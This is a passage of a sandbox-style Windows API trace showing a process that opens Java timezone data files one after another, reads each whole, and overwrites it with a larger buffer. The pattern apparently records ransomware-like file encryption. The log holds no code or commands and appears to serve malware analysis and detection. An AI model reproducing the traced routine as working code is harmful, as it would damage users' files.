dwFlags=0x0, lpWideCharStr="Shanghai", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shanghai", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shanghai", lpUsedDefaultChar=0x0) returned 8 [0053.848] ReadFile (in: hFile=0x1b0, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x2e0f2bc*=0xc9, lpOverlapped=0x0) returned 1 [0053.849] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0053.849] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x651, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x651, lpOverlapped=0x0) returned 1 [0053.849] CloseHandle (hObject=0x1b0) returned 1 [0053.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ust-nera"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0053.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x255 [0053.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0053.850] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.850] ReleaseMutex (hMutex=0x128) returned 1 [0053.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ust-Nera", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ust-Nera", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ust-Nera", lpUsedDefaultChar=0x0) returned 8 [0053.850] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2e0f2bc*=0x255, lpOverlapped=0x0) returned 1 [0053.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0053.851] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7dd, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2e0f2d0*=0x7dd, lpOverlapped=0x0) returned 1 [0053.851] CloseHandle (hObject=0x1b0) returned 1 [0053.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Faroe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\faroe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0053.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3f8 [0053.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0053.852] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.852] ReleaseMutex (hMutex=0x128) returned 1 [0053.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faroe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0053.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faroe", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faroe", lpUsedDefaultChar=0x0) returned 5 [0053.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x26146c8, nNumberOfBytesToRead=0x3f8, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26146c8*, lpNumberOfBytesRead=0x2e0f2bc*=0x3f8, lpOverlapped=0x0) returned 1 [0053.854] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0053.854] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x980, lpOverlapped=0x0) returned 1 [0053.854] CloseHandle (hObject=0x1b0) returned 1 [0053.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\darwin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0054.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0054.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7d [0054.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0054.087] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.087] ReleaseMutex (hMutex=0x128) returned 1 [0054.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Darwin", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0054.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Darwin", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Darwin", lpUsedDefaultChar=0x0) returned 6 [0054.087] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e27ec8, nNumberOfBytesToRead=0x7d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e27ec8*, lpNumberOfBytesRead=0x2e0f2bc*=0x7d, lpOverlapped=0x0) returned 1 [0054.088] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0054.088] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x605, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x605, lpOverlapped=0x0) returned 1 [0054.088] CloseHandle (hObject=0x1ac) returned 1 [0054.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\eet"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0054.089] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0054.089] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x430 [0054.089] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0054.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.089] ReleaseMutex (hMutex=0x128) returned 1 [0054.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EET", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0054.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EET", cchWideChar=3, lpMultiByteStr=0x1e6a78c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EET", lpUsedDefaultChar=0x0) returned 3 [0054.089] ReadFile (in: hFile=0x1ac, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2e0f2bc*=0x430, lpOverlapped=0x0) returned 1 [0054.091] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0054.091] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5ce8*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27f5ce8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9b8, lpOverlapped=0x0) returned 1 [0054.091] CloseHandle (hObject=0x1ac) returned 1 [0054.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b [0057.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.014] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.014] ReleaseMutex (hMutex=0x128) returned 1 [0057.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+4", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0057.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+4", cchWideChar=5, lpMultiByteStr=0x1e6a7bc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+4", lpUsedDefaultChar=0x0) returned 5 [0057.014] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0057.015] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.015] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0057.016] CloseHandle (hObject=0x1d4) returned 1 [0057.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-13"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.017] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.017] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b [0057.017] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.017] ReleaseMutex (hMutex=0x128) returned 1 [0057.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-13", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0057.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-13", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-13", lpUsedDefaultChar=0x0) returned 6 [0057.017] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0057.018] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.018] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0057.021] CloseHandle (hObject=0x1d4) returned 1 [0057.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UCT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\uct"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.022] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.022] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b [0057.022] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.022] ReleaseMutex (hMutex=0x128) returned 1 [0057.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0057.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCT", cchWideChar=3, lpMultiByteStr=0x1e6a81c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCT", lpUsedDefaultChar=0x0) returned 3 [0057.022] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0057.023] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.023] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0057.023] CloseHandle (hObject=0x1d4) returned 1 [0057.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Chisinau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\chisinau"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4bc [0057.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.024] ReleaseMutex (hMutex=0x128) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chisinau", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0057.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chisinau", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chisinau", lpUsedDefaultChar=0x0) returned 8 [0057.024] ReadFile (in: hFile=0x1d4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2e0f2bc*=0x4bc, lpOverlapped=0x0) returned 1 [0057.026] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.026] WriteFile (in: hFile=0x1d4, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xa44, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xa44, lpOverlapped=0x0) returned 1 [0057.026] CloseHandle (hObject=0x1d4) returned 1 [0057.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\luxembourg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x620 [0057.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.027] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.027] ReleaseMutex (hMutex=0x128) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Luxembourg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0057.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Luxembourg", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Luxembourg", lpUsedDefaultChar=0x0) returned 10 [0057.027] ReadFile (in: hFile=0x1d4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2e0f2bc*=0x620, lpOverlapped=0x0) returned 1 [0057.029] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.029] WriteFile (in: hFile=0x1d4, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xba8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xba8, lpOverlapped=0x0) returned 1 [0057.029] CloseHandle (hObject=0x1d4) returned 1 [0057.030] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\rome"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.030] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.030] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5a0 [0057.030] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.030] ReleaseMutex (hMutex=0x128) returned 1 [0057.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rome", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0057.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rome", cchWideChar=4, lpMultiByteStr=0x1e6a7bc, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rome", lpUsedDefaultChar=0x0) returned 4 [0057.030] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x2e0f2bc*=0x5a0, lpOverlapped=0x0) returned 1 [0057.032] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0057.032] WriteFile (in: hFile=0x1d4, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xb28, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xb28, lpOverlapped=0x0) returned 1 [0057.032] CloseHandle (hObject=0x1d4) returned 1 [0057.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vilnius"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.033] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0057.033] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, 